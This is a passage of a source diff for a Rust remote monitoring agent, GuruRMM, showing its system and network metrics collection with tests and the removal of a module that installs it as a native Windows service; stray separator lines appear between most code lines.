boot_time,
|
||||
logged_in_user,
|
||||
user_idle_seconds,
|
||||
)
|
||||
};
|
||||
|
||||
// All locks are now released - safe to do async work
|
||||
// Get public IP (cached, refreshed every 5 minutes)
|
||||
let public_ip = self.get_public_ip().await;
|
||||
|
||||
SystemMetrics {
|
||||
timestamp: Utc::now(),
|
||||
cpu_percent,
|
||||
memory_percent,
|
||||
memory_used_bytes: memory_used,
|
||||
memory_total_bytes: memory_total,
|
||||
disk_percent,
|
||||
disk_used_bytes: disk_used,
|
||||
disk_total_bytes: disk_total,
|
||||
network_rx_bytes: delta_rx,
|
||||
network_tx_bytes: delta_tx,
|
||||
os_type,
|
||||
os_version,
|
||||
hostname,
|
||||
uptime_seconds,
|
||||
boot_time,
|
||||
logged_in_user,
|
||||
user_idle_seconds,
|
||||
public_ip,
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the currently logged in user
|
||||
fn get_logged_in_user(&self) -> Option<String> {
|
||||
let users = Users::new_with_refreshed_list();
|
||||
// Return the first user found (typically the console user)
|
||||
users.iter().next().map(|u| u.name().to_string())
|
||||
}
|
||||
|
||||
/// Get user idle time in seconds (time since last keyboard/mouse input)
|
||||
#[cfg(target_os = "windows")]
|
||||
fn get_user_idle_time(&self) -> Option<u64> {
|
||||
// Windows: Use GetLastInputInfo API
|
||||
use std::mem;
|
||||
|
||||
#[repr(C)]
|
||||
struct LASTINPUTINFO {
|
||||
cb_size: u32,
|
||||
dw_time: u32,
|
||||
}
|
||||
|
||||
extern "system" {
|
||||
fn GetLastInputInfo(plii: *mut LASTINPUTINFO) -> i32;
|
||||
fn GetTickCount() -> u32;
|
||||
}
|
||||
|
||||
unsafe {
|
||||
let mut lii = LASTINPUTINFO {
|
||||
cb_size: mem::size_of::<LASTINPUTINFO>() as u32,
|
||||
dw_time: 0,
|
||||
};
|
||||
|
||||
if GetLastInputInfo(&mut lii) != 0 {
|
||||
let idle_ms = GetTickCount().wrapping_sub(lii.dw_time);
|
||||
Some((idle_ms / 1000) as u64)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Get user idle time in seconds (Unix/macOS)
|
||||
#[cfg(not(target_os = "windows"))]
|
||||
fn get_user_idle_time(&self) -> Option<u64> {
|
||||
// Unix: Check /dev/tty* or use platform-specific APIs
|
||||
// For now, return None - can be enhanced with X11/Wayland idle detection
|
||||
None
|
||||
}
|
||||
|
||||
/// Get public IP address (cached for 5 minutes)
|
||||
async fn get_public_ip(&self) -> Option<String> {
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
const REFRESH_INTERVAL: Duration = Duration::from_secs(300); // 5 minutes
|
||||
|
||||
// Check if we have a cached value that's still fresh
|
||||
{
|
||||
let last_fetch = self.last_public_ip_fetch.lock().unwrap();
|
||||
let cached_ip = self.cached_public_ip.lock().unwrap();
|
||||
|
||||
if let Some(last) = *last_fetch {
|
||||
if last.elapsed() < REFRESH_INTERVAL {
|
||||
return cached_ip.clone();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fetch new public IP
|
||||
let new_ip = self.fetch_public_ip().await;
|
||||
|
||||
// Update cache
|
||||
{
|
||||
let mut last_fetch = self.last_public_ip_fetch.lock().unwrap();
|
||||
let mut cached_ip = self.cached_public_ip.lock().unwrap();
|
||||
*last_fetch = Some(Instant::now());
|
||||
*cached_ip = new_ip.clone();
|
||||
}
|
||||
|
||||
new_ip
|
||||
}
|
||||
|
||||
/// Fetch public IP from external service
|
||||
async fn fetch_public_ip(&self) -> Option<String> {
|
||||
// Try multiple services for reliability
|
||||
let services = [
|
||||
"https://api.ipify.org",
|
||||
"https://ifconfig.me/ip",
|
||||
"https://icanhazip.com",
|
||||
];
|
||||
|
||||
for service in &services {
|
||||
match reqwest::get(*service).await {
|
||||
Ok(resp) if resp.status().is_success() => {
|
||||
if let Ok(ip) = resp.text().await {
|
||||
let ip = ip.trim().to_string();
|
||||
// Basic validation: should look like an IP
|
||||
if ip.parse::<std::net::IpAddr>().is_ok() {
|
||||
return Some(ip);
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Get basic system info (for registration)
|
||||
pub fn get_system_info(&self) -> SystemInfo {
|
||||
let system = self.system.lock().unwrap();
|
||||
|
||||
SystemInfo {
|
||||
os_type: std::env::consts::OS.to_string(),
|
||||
os_version: System::os_version().unwrap_or_else(|| "unknown".to_string()),
|
||||
hostname: System::host_name().unwrap_or_else(|| "unknown".to_string()),
|
||||
cpu_count: system.cpus().len() as u32,
|
||||
total_memory_bytes: system.total_memory(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for MetricsCollector {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
/// Basic system information (for agent registration)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SystemInfo {
|
||||
/// Operating system type (windows, linux, macos)
|
||||
pub os_type: String,
|
||||
|
||||
/// Operating system version
|
||||
pub os_version: String,
|
||||
|
||||
/// System hostname
|
||||
pub hostname: String,
|
||||
|
||||
/// Number of CPU cores
|
||||
pub cpu_count: u32,
|
||||
|
||||
/// Total memory in bytes
|
||||
pub total_memory_bytes: u64,
|
||||
}
|
||||
|
||||
/// Network interface information
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||
pub struct NetworkInterface {
|
||||
/// Interface name (e.g., "eth0", "Wi-Fi", "Ethernet")
|
||||
pub name: String,
|
||||
|
||||
/// MAC address (if available from sysinfo)
|
||||
pub mac_address: Option<String>,
|
||||
|
||||
/// IPv4 addresses assigned to this interface
|
||||
pub ipv4_addresses: Vec<String>,
|
||||
|
||||
/// IPv6 addresses assigned to this interface
|
||||
pub ipv6_addresses: Vec<String>,
|
||||
}
|
||||
|
||||
/// Complete network state (sent on connect and on change)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||
pub struct NetworkState {
|
||||
/// Timestamp when network state was collected
|
||||
pub timestamp: DateTime<Utc>,
|
||||
|
||||
/// All network interfaces with their addresses
|
||||
pub interfaces: Vec<NetworkInterface>,
|
||||
|
||||
/// Hash of the network state for quick change detection
|
||||
pub state_hash: String,
|
||||
}
|
||||
|
||||
impl NetworkState {
|
||||
/// Collect current network state from the system
|
||||
pub fn collect() -> Self {
|
||||
let mut interface_map: HashMap<String, NetworkInterface> = HashMap::new();
|
||||
|
||||
// Get IP addresses from local-ip-address crate
|
||||
if let Ok(netifas) = list_afinet_netifas() {
|
||||
for (name, ip) in netifas {
|
||||
let entry = interface_map.entry(name.clone()).or_insert_with(|| {
|
||||
NetworkInterface {
|
||||
name: name.clone(),
|
||||
mac_address: None,
|
||||
ipv4_addresses: Vec::new(),
|
||||
ipv6_addresses: Vec::new(),
|
||||
}
|
||||
});
|
||||
|
||||
match ip {
|
||||
IpAddr::V4(addr) => {
|
||||
let addr_str = addr.to_string();
|
||||
if !entry.ipv4_addresses.contains(&addr_str) {
|
||||
entry.ipv4_addresses.push(addr_str);
|
||||
}
|
||||
}
|
||||
IpAddr::V6(addr) => {
|
||||
let addr_str = addr.to_string();
|
||||
if !entry.ipv6_addresses.contains(&addr_str) {
|
||||
entry.ipv6_addresses.push(addr_str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get MAC addresses from sysinfo
|
||||
let networks = Networks::new_with_refreshed_list();
|
||||
for (name, data) in &networks {
|
||||
if let Some(entry) = interface_map.get_mut(name) {
|
||||
let mac = data.mac_address();
|
||||
let mac_str = format!(
|
||||
"{:02X}:{:02X}:{:02X}:{:02X}:{:02X}:{:02X}",
|
||||
mac.0[0], mac.0[1], mac.0[2], mac.0[3], mac.0[4], mac.0[5]
|
||||
);
|
||||
// Don't store empty/null MACs
|
||||
if mac_str != "00:00:00:00:00:00" {
|
||||
entry.mac_address = Some(mac_str);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Convert to sorted vec for consistent ordering
|
||||
let mut interfaces: Vec<NetworkInterface> = interface_map.into_values().collect();
|
||||
interfaces.sort_by(|a, b| a.name.cmp(&b.name));
|
||||
|
||||
// Filter out loopback and link-local only interfaces
|
||||
interfaces.retain(|iface| {
|
||||
// Keep if has any non-loopback IPv4
|
||||
let has_real_ipv4 = iface.ipv4_addresses.iter().any(|ip| {
|
||||
!ip.starts_with("127.") && !ip.starts_with("169.254.")
|
||||
});
|
||||
// Keep if has any non-link-local IPv6
|
||||
let has_real_ipv6 = iface.ipv6_addresses.iter().any(|ip| {
|
||||
!ip.starts_with("fe80:") && !ip.starts_with("::1")
|
||||
});
|
||||
has_real_ipv4 || has_real_ipv6
|
||||
});
|
||||
|
||||
// Generate hash for change detection
|
||||
let state_hash = Self::compute_hash(&interfaces);
|
||||
|
||||
NetworkState {
|
||||
timestamp: Utc::now(),
|
||||
interfaces,
|
||||
state_hash,
|
||||
}
|
||||
}
|
||||
|
||||
/// Compute a simple hash of the network state for change detection
|
||||
fn compute_hash(interfaces: &[NetworkInterface]) -> String {
|
||||
use std::collections::hash_map::DefaultHasher;
|
||||
use std::hash::{Hash, Hasher};
|
||||
|
||||
let mut hasher = DefaultHasher::new();
|
||||
for iface in interfaces {
|
||||
iface.name.hash(&mut hasher);
|
||||
iface.mac_address.hash(&mut hasher);
|
||||
for ip in &iface.ipv4_addresses {
|
||||
ip.hash(&mut hasher);
|
||||
}
|
||||
for ip in &iface.ipv6_addresses {
|
||||
ip.hash(&mut hasher);
|
||||
}
|
||||
}
|
||||
format!("{:016x}", hasher.finish())
|
||||
}
|
||||
|
||||
/// Check if network state has changed compared to another state
|
||||
pub fn has_changed(&self, other: &NetworkState) -> bool {
|
||||
self.state_hash != other.state_hash
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_metrics_collection() {
|
||||
let collector = MetricsCollector::new();
|
||||
let metrics = collector.collect().await;
|
||||
|
||||
// Basic sanity checks
|
||||
assert!(metrics.cpu_percent >= 0.0 && metrics.cpu_percent <= 100.0);
|
||||
assert!(metrics.memory_percent >= 0.0 && metrics.memory_percent <= 100.0);
|
||||
assert!(metrics.memory_total_bytes > 0);
|
||||
assert!(!metrics.os_type.is_empty());
|
||||
assert!(!metrics.hostname.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_system_info() {
|
||||
let collector = MetricsCollector::new();
|
||||
let info = collector.get_system_info();
|
||||
|
||||
assert!(!info.os_type.is_empty());
|
||||
assert!(!info.hostname.is_empty());
|
||||
assert!(info.cpu_count > 0);
|
||||
assert!(info.total_memory_bytes > 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_network_state_collection() {
|
||||
let state = NetworkState::collect();
|
||||
|
||||
// Should have a valid timestamp
|
||||
assert!(state.timestamp <= Utc::now());
|
||||
|
||||
// Should have a hash
|
||||
assert!(!state.state_hash.is_empty());
|
||||
assert_eq!(state.state_hash.len(), 16); // 64-bit hash as hex
|
||||
|
||||
// Print for debugging
|
||||
println!("Network state collected:");
|
||||
for iface in &state.interfaces {
|
||||
println!(" {}: IPv4={:?}, IPv6={:?}, MAC={:?}",
|
||||
iface.name, iface.ipv4_addresses, iface.ipv6_addresses, iface.mac_address);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_network_state_change_detection() {
|
||||
let state1 = NetworkState::collect();
|
||||
let state2 = NetworkState::collect();
|
||||
|
||||
// Same state should have same hash
|
||||
assert!(!state1.has_changed(&state2));
|
||||
|
||||
// Create a modified state
|
||||
let mut modified = state1.clone();
|
||||
if let Some(iface) = modified.interfaces.first_mut() {
|
||||
iface.ipv4_addresses.push("10.99.99.99".to_string());
|
||||
}
|
||||
modified.state_hash = NetworkState::compute_hash(&modified.interfaces);
|
||||
|
||||
// Modified state should be detected as changed
|
||||
assert!(state1.has_changed(&modified));
|
||||
}
|
||||
}
|
||||
@@ -1,777 +0,0 @@
|
||||
//! Windows Service implementation for GuruRMM Agent
|
||||
//!
|
||||
//! This module implements the Windows Service Control Manager (SCM) protocol,
|
||||
//! allowing the agent to run as a native Windows service without third-party wrappers.
|
||||
|
||||
#[cfg(all(windows, feature = "native-service"))]
|
||||
pub mod windows {
|
||||
use std::ffi::OsString;
|
||||
use std::path::PathBuf;
|
||||
use std::sync::mpsc;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use tracing::{error, info, warn};
|
||||
use windows_service::{
|
||||
define_windows_service,
|
||||
service::{
|
||||
ServiceAccess, ServiceControl, ServiceControlAccept, ServiceErrorControl,
|
||||
ServiceExitCode, ServiceInfo, ServiceStartType, ServiceState, ServiceStatus,
|
||||
ServiceType,
|
||||
},
|
||||
service_control_handler::{self, ServiceControlHandlerResult},
|
||||
service_dispatcher, service_manager::{ServiceManager, ServiceManagerAccess},
|
||||
};
|
||||
|
||||
pub const SERVICE_NAME: &str = "GuruRMMAgent";
|
||||
pub const SERVICE_DISPLAY_NAME: &str = "GuruRMM Agent";
|
||||
pub const SERVICE_DESCRIPTION: &str =
|
||||
"GuruRMM Agent - Remote Monitoring and Management service";
|
||||
pub const INSTALL_DIR: &str = r"C:\Program Files\GuruRMM";
|
||||
pub const CONFIG_DIR: &str = r"C:\ProgramData\GuruRMM";
|
||||
|
||||
// Generate the Windows service boilerplate
|
||||
define_windows_service!(ffi_service_main, service_main);
|
||||
|
||||
/// Entry point called by the Windows Service Control Manager
|
||||
pub fn run_as_service() -> Result<()> {
|
||||
// This function is called when Windows starts the service.
|
||||
// It blocks until the service is stopped.
|
||||
service_dispatcher::start(SERVICE_NAME, ffi_service_main)
|
||||
.context("Failed to start service dispatcher")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Main service function called by the SCM
|
||||
fn service_main(arguments: Vec<OsString>) {
|
||||
if let Err(e) = run_service(arguments) {
|
||||
error!("Service error: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// The actual service implementation
|
||||
fn run_service(_arguments: Vec<OsString>) -> Result<()> {
|
||||
// Create a channel to receive stop events
|
||||
let (shutdown_tx, shutdown_rx) = mpsc::channel();
|
||||
|
||||
// Create the service control handler
|
||||
let event_handler = move |control_event| -> ServiceControlHandlerResult {
|
||||
match control_event {
|
||||
ServiceControl::Stop => {
|
||||
info!("Received stop command from SCM");
|
||||
let _ = shutdown_tx.send(());
|
||||
ServiceControlHandlerResult::NoError
|
||||
}
|
||||
ServiceControl::Interrogate => ServiceControlHandlerResult::NoError,
|
||||
ServiceControl::Shutdown => {
|
||||
info!("Received shutdown command from SCM");
|
||||
let _ = shutdown_tx.send(());
|
||||
ServiceControlHandlerResult::NoError
|
||||
}
|
||||
_ => ServiceControlHandlerResult::NotImplemented,
|
||||
}
|
||||
};
|
||||
|
||||
// Register the service control handler
|
||||
let status_handle = service_control_handler::register(SERVICE_NAME, event_handler)
|
||||
.context("Failed to register service control handler")?;
|
||||
|
||||
// Report that we're starting
|
||||
status_handle
|
||||
.set_service_status(ServiceStatus {
|
||||
service_type: ServiceType::OWN_PROCESS,
|
||||
current_state: ServiceState::StartPending,
|
||||
controls_accepted: ServiceControlAccept::empty(),
|
||||
exit_code: ServiceExitCode::Win32(0),
|
||||
checkpoint: 0,
|
||||
wait_hint: Duration::from_secs(10),
|
||||
process_id: None,
|
||||
})
|
||||
.context("Failed to set StartPending status")?;
|
||||
|
||||
// Determine config path
|
||||
let config_path = PathBuf::from(CONFIG_DIR).join("agent.toml");
|
||||
|
||||
// Create the tokio runtime for the agent
|
||||
let runtime = tokio::runtime::Runtime::new().context("Failed to create tokio runtime")?;
|
||||
|
||||
// Start the agent in the runtime
|
||||
let agent_result = runtime.block_on(async {
|
||||
// Load configuration
|
||||
let config = match crate::config::AgentConfig::load(&config_path) {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
error!("Failed to load config from {:?}: {}", config_path, e);
|
||||
return Err(anyhow::anyhow!("Config load failed: {}", e));
|
||||
}
|
||||
};
|
||||
|
||||
info!("GuruRMM Agent service starting...");
|
||||
info!("Config loaded from {:?}", config_path);
|
||||
info!("Server URL: {}", config.server.url);
|
||||
|
||||
// Initialize metrics collector
|
||||
let metrics_collector = crate::metrics::MetricsCollector::new();
|
||||
info!("Metrics collector initialized");
|
||||
|
||||
// Create shared state
|
||||
let state = std::sync::Arc::new(crate::AppState {
|
||||
config: config.clone(),
|
||||
metrics_collector,
|
||||
connected: tokio::sync::RwLock::new(false),
|
||||
});
|
||||
|
||||
// Report that we're running
|
||||
status_handle
|
||||
.set_service_status(ServiceStatus {
|
||||
service_type: ServiceType::OWN_PROCESS,
|
||||
current_state: ServiceState::Running,
|
||||
controls_accepted: ServiceControlAccept::STOP | ServiceControlAccept::SHUTDOWN,
|
||||
exit_code: ServiceExitCode::Win32(0),
|
||||
checkpoint: 0,
|
||||
wait_hint: Duration::default(),
|
||||
process_id: None,
|
||||
})
|
||||
.context("Failed to set Running status")?;
|
||||
|
||||
// Start WebSocket client task
|
||||
let ws_state = std::sync::Arc::clone(&state);
|
||||
let ws_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
info!("Connecting to server...");
|
||||
match crate::transport::WebSocketClient::connect_and_run(std::sync::Arc::clone(
|
||||
&ws_state,
|
||||
))
|
||||
.await
|
||||
{
|
||||
Ok(_) => {
|
||||
warn!("WebSocket connection closed normally, reconnecting...");
|
||||
}
|
||||
Err(e) => {
|
||||
error!("WebSocket error: {}, reconnecting in 10 seconds...", e);
|
||||
}
|
||||
}
|
||||
*ws_state.connected.write().await = false;
|
||||
tokio::time::sleep(tokio::time::Duration::from_secs(10)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Start metrics collection task
|
||||
let metrics_state = std::sync::Arc::clone(&state);
|
||||
let metrics_handle = tokio::spawn(async move {
|
||||
let interval = metrics_state.config.metrics.interval_seconds;
|
||||
let mut interval_timer =
|
||||
tokio::time::interval(tokio::time::Duration::from_secs(interval));
|
||||
|
||||
loop {
|
||||
interval_timer.tick().await;
|
||||
let metrics = metrics_state.metrics_collector.collect().await;
|
||||
if *metrics_state.connected.read().await {
|
||||
info!(
|
||||
"Metrics: CPU={:.1}%, Mem={:.1}%, Disk={:.1}%",
|
||||
metrics.cpu_percent, metrics.memory_percent, metrics.disk_percent
|
||||
);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Wait for shutdown signal from SCM
|
||||
// We use a separate task to poll the channel since it's not async
|
||||
let shutdown_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
match shutdown_rx.try_recv() {
|
||||
Ok(_) => {
|
||||
info!("Shutdown signal received");
|
||||
break;
|
||||
}
|
||||
Err(mpsc::TryRecvError::Empty) => {
|
||||
tokio::time::sleep(tokio::time::Duration::from_millis(100)).await;
|
||||
}
|
||||
Err(mpsc::TryRecvError::Disconnected) => {
|
||||
warn!("Shutdown channel disconnected");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Wait for shutdown
|
||||
tokio::select! {
|
||||
_ = shutdown_handle => {
|
||||
info!("Service shutting down gracefully");
|
||||
}
|
||||
_ = ws_handle => {
|
||||
error!("WebSocket task ended unexpectedly");
|
||||
}
|
||||
_ = metrics_handle => {
|
||||
error!("Metrics task ended unexpectedly");
|
||||
}
|
||||
}
|
||||
|
||||
Ok::<(), anyhow::Error>(())
|
||||
});
|
||||
|
||||
// Report that we're stopping
|
||||
status_handle
|
||||
.set_service_status(ServiceStatus {
|
||||
service_type: ServiceType::OWN_PROCESS,
|
||||
current_state: ServiceState::StopPending,
|
||||
controls_accepted: ServiceControlAccept::empty(),
|
||||
exit_code: ServiceExitCode::Win32(0),
|
||||
checkpoint: 0,
|
||||
wait_hint: Duration::from_secs(5),
|
||||
process_id: None,
|
||||
})
|
||||
.ok();
|
||||
|
||||
// Report that we've stopped
|
||||
status_handle
|
||||
.set_service_status(ServiceStatus {
|
||||
service_type: ServiceType::OWN_PROCESS,
|
||||
current_state: ServiceState::Stopped,
|
||||
controls_accepted: ServiceControlAccept::empty(),
|
||||
exit_code: match &agent_result {
|
||||
Ok(_) => ServiceExitCode::Win32(0),
|
||||
Err(_) => ServiceExitCode::Win32(1),
|
||||
},
|
||||
checkpoint: 0,
|
||||
wait_hint: Duration::default(),
|
||||
process_id: None,
|
||||
})
|
||||
.ok();
|
||||
|
||||
agent_result
|
||||
}
|
||||
|
||||
/// Known legacy service names to check and remove
|
||||
const LEGACY_SERVICE_NAMES: &[&str] = &[
|
||||
"GuruRMM-Agent", // NSSM-based service name
|
||||
"gururmm-agent", // Alternative casing
|
||||
];
|
||||
|
||||
/// Detect and remove legacy service installations (e.g., NSSM-based)
|
||||
fn cleanup_legacy_services() -> Result<()> {
|
||||
let manager = match ServiceManager::local_computer(
|
||||
None::<&str>,
|
||||
ServiceManagerAccess::CONNECT,
|
||||
) {
|
||||
Ok(m) => m,
|
||||
Err(_) => return Ok(()), // Can't connect, skip legacy cleanup
|
||||
};
|
||||
|
||||
for legacy_name in LEGACY_SERVICE_NAMES {
|
||||
if let Ok(service) = manager.open_service(
|
||||
*legacy_name,
|
||||
ServiceAccess::QUERY_STATUS | ServiceAccess::STOP | ServiceAccess::DELETE,
|
||||
) {
|
||||
info!("Found legacy service '{}', removing...", legacy_name);
|
||||
|
||||
// Stop if running
|
||||
if let Ok(status) = service.query_status() {
|
||||
if status.current_state != ServiceState::Stopped {
|
||||
info!("Stopping legacy service...");
|
||||
let _ = service.stop();
|
||||
std::thread::sleep(Duration::from_secs(3));
|
||||
}
|
||||
}
|
||||
|
||||
// Delete the service
|
||||
match service.delete() {
|
||||
Ok(_) => {
|
||||
println!("** Removed legacy service: {}", legacy_name);
|
||||
}
|
||||
Err(e) => {
|
||||
warn!("Failed to delete legacy service '{}': {}", legacy_name, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Also check for NSSM in registry/service config
|
||||
// NSSM services have specific registry keys under HKLM\SYSTEM\CurrentControlSet\Services\{name}\Parameters
|
||||
for legacy_name in LEGACY_SERVICE_NAMES {
|
||||
let params_key = format!(
|
||||
r"SYSTEM\CurrentControlSet\Services\{}\Parameters",
|
||||
legacy_name
|
||||
);
|
||||
// If this key exists, it was likely an NSSM service
|
||||
if let Ok(output) = std::process::Command::new("reg")
|
||||
.args(["query", &format!(r"HKLM\{}", params_key)])
|
||||
.output()
|
||||
{
|
||||
if output.status.success() {
|
||||
info!("Found NSSM registry keys for '{}', cleaning up...", legacy_name);
|
||||
let _ = std::process::Command::new("reg")
|
||||
.args(["delete", &format!(r"HKLM\{}", params_key), "/f"])
|
||||
.output();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Install the agent as a Windows service using native APIs
|
||||
pub fn install(
|
||||
server_url: Option<String>,
|
||||
api_key: Option<String>,
|
||||
skip_legacy_check: bool,
|
||||
) -> Result<()> {
|
||||
info!("Installing GuruRMM Agent as Windows service...");
|
||||
|
||||
// Clean up legacy installations unless skipped
|
||||
if !skip_legacy_check {
|
||||
info!("Checking for legacy service installations...");
|
||||
if let Err(e) = cleanup_legacy_services() {
|
||||
warn!("Legacy cleanup warning: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
// Get the current executable path
|
||||
let current_exe =
|
||||
std::env::current_exe().context("Failed to get current executable path")?;
|
||||
|
||||
let binary_dest = PathBuf::from(INSTALL_DIR).join("gururmm-agent.exe");
|
||||
let config_dest = PathBuf::from(CONFIG_DIR).join("agent.toml");
|
||||
|
||||
// Create directories
|
||||
info!("Creating directories...");
|
||||
std::fs::create_dir_all(INSTALL_DIR).context("Failed to create install directory")?;
|
||||
std::fs::create_dir_all(CONFIG_DIR).context("Failed to create config directory")?;
|
||||
|
||||
// Copy binary
|
||||
info!("Copying binary to: {:?}", binary_dest);
|
||||
std::fs::copy(¤t_exe, &binary_dest).context("Failed to copy binary")?;
|
||||
|
||||
// Handle configuration
|
||||
let config_needs_manual_edit;
|
||||
if !config_dest.exists() {
|
||||
info!("Creating config: {:?}", config_dest);
|
||||
|
||||
// Start with sample config
|
||||
let mut config = crate::config::AgentConfig::sample();
|
||||
|
||||
// Apply provided values
|
||||
if let Some(url) = &server_url {
|
||||
config.server.url = url.clone();
|
||||
}
|
||||
if let Some(key) = &api_key {
|
||||
config.server.api_key = key.clone();
|
||||
}
|
||||
|
||||
let toml_str = toml::to_string_pretty(&config)?;
|
||||
std::fs::write(&config_dest, toml_str).context("Failed to write config file")?;
|
||||
|
||||
config_needs_manual_edit = server_url.is_none() || api_key.is_none();
|
||||
} else {
|
||||
info!("Config already exists: {:?}", config_dest);
|
||||
config_needs_manual_edit = false;
|
||||
|
||||
// If server_url or api_key provided, update existing config
|
||||
if server_url.is_some() || api_key.is_some() {
|
||||
info!("Updating existing configuration...");
|
||||
let config_content = std::fs::read_to_string(&config_dest)?;
|
||||
let mut config: crate::config::AgentConfig = toml::from_str(&config_content)
|
||||
.context("Failed to parse existing config")?;
|
||||
|
||||
if let Some(url) = &server_url {
|
||||
config.server.url = url.clone();
|
||||
}
|
||||
if let Some(key) = &api_key {
|
||||
config.server.api_key = key.clone();
|
||||
}
|
||||
|
||||
let toml_str = toml::to_string_pretty(&config)?;
|
||||
std::fs::write(&config_dest, toml_str)
|
||||
.context("Failed to update config file")?;
|
||||
}
|
||||
}
|
||||
|
||||
// Open the service manager
|
||||
let manager = ServiceManager::local_computer(
|
||||
None::<&str>,
|
||||
ServiceManagerAccess::CONNECT | ServiceManagerAccess::CREATE_SERVICE,
|
||||
)
|
||||
.context("Failed to connect to Service Control Manager. Run as Administrator.")?;
|
||||
|
||||
// Check if service already exists
|
||||
if let Ok(service) = manager.open_service(
|
||||
SERVICE_NAME,
|
||||
ServiceAccess::QUERY_STATUS | ServiceAccess::DELETE | ServiceAccess::STOP,
|
||||
) {
|
||||
info!("Removing existing service...");
|
||||
|
||||
// Stop the service if running
|
||||
if let Ok(status) = service.query_status() {
|
||||
if status.current_state != ServiceState::Stopped {
|
||||
let _ = service.stop();
|
||||
std::thread::sleep(Duration::from_secs(2));
|
||||
}
|
||||
}
|
||||
|
||||
// Delete the service
|
||||
service.delete().context("Failed to delete existing service")?;
|
||||
drop(service);
|
||||
|
||||
// Wait for deletion to complete
|
||||
std::thread::sleep(Duration::from_secs(2));
|
||||
}
|
||||
|
||||
// Create the service
|
||||
// The service binary is called with "service" subcommand when started by SCM
|
||||
let service_binary_path = format!(r#""{}" service"#, binary_dest.display());
|
||||
|
||||
info!("Creating service with path: {}", service_binary_path);
|
||||
|
||||
let service_info = ServiceInfo {
|
||||
name: OsString::from(SERVICE_NAME),
|
||||
display_name: OsString::from(SERVICE_DISPLAY_NAME),
|
||||
service_type: ServiceType::OWN_PROCESS,
|
||||
start_type: ServiceStartType::AutoStart,
|
||||
error_control: ServiceErrorControl::Normal,
|
||||
executable_path: binary_dest.clone(),
|
||||
launch_arguments: vec![OsString::from("service")],
|
||||
dependencies: vec![],
|
||||
account_name: None, // LocalSystem
|
||||
account_password: None,
|
||||
};
|
||||
|
||||
let service = manager
|
||||
.create_service(&service_info, ServiceAccess::CHANGE_CONFIG | ServiceAccess::START)
|
||||
.context("Failed to create service")?;
|
||||
|
||||
// Set description
|
||||
service
|
||||
.set_description(SERVICE_DESCRIPTION)
|
||||
.context("Failed to set service description")?;
|
||||
|
||||
// Configure recovery options using sc.exe (windows-service crate doesn't support this directly)
|
||||
info!("Configuring recovery options...");
|
||||
let _ = std::process::Command::new("sc")
|
||||
.args([
|
||||
"failure",
|
||||
SERVICE_NAME,
|
||||
"reset=86400",
|
||||
"actions=restart/60000/restart/60000/restart/60000",
|
||||
])
|
||||
.output();
|
||||
|
||||
println!("\n** GuruRMM Agent installed successfully!");
|
||||
println!("\nInstalled files:");
|
||||
println!(" Binary: {:?}", binary_dest);
|
||||
println!(" Config: {:?}", config_dest);
|
||||
|
||||
if config_needs_manual_edit {
|
||||
println!("\n** IMPORTANT: Edit {:?} with your server URL and API key!", config_dest);
|
||||
println!("\nNext steps:");
|
||||
println!(" 1. Edit {:?} with your server URL and API key", config_dest);
|
||||
println!(" 2. Start the service:");
|
||||
println!(" gururmm-agent start");
|
||||
println!(" Or: sc start {}", SERVICE_NAME);
|
||||
} else {
|
||||
println!("\nStarting service...");
|
||||
if let Err(e) = start() {
|
||||
println!("** Failed to start service: {}. Start manually with:", e);
|
||||
println!(" gururmm-agent start");
|
||||
} else {
|
||||
println!("** Service started successfully!");
|
||||
}
|
||||
}
|
||||
|
||||
println!("\nUseful commands:");
|
||||
println!(" Status: gururmm-agent status");
|
||||
println!(" Stop: gururmm-agent stop");
|
||||
println!(" Start: gururmm-agent start");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Uninstall the Windows service
|
||||
pub fn uninstall() -> Result<()> {
|
||||
info!("Uninstalling GuruRMM Agent...");
|
||||
|
||||
let binary_path = PathBuf::from(INSTALL_DIR).join("gururmm-agent.exe");
|
||||
|
||||
// Open the service manager
|
||||
let manager = ServiceManager::local_computer(
|
||||
None::<&str>,
|
||||
ServiceManagerAccess::CONNECT,
|
||||
)
|
||||
.context("Failed to connect to Service Control Manager. Run as Administrator.")?;
|
||||
|
||||
// Open the service
|
||||
match manager.open_service(
|
||||
SERVICE_NAME,
|
||||
ServiceAccess::QUERY_STATUS | ServiceAccess::STOP | ServiceAccess::DELETE,
|
||||
) {
|
||||
Ok(service) => {
|
||||
// Stop if running
|
||||
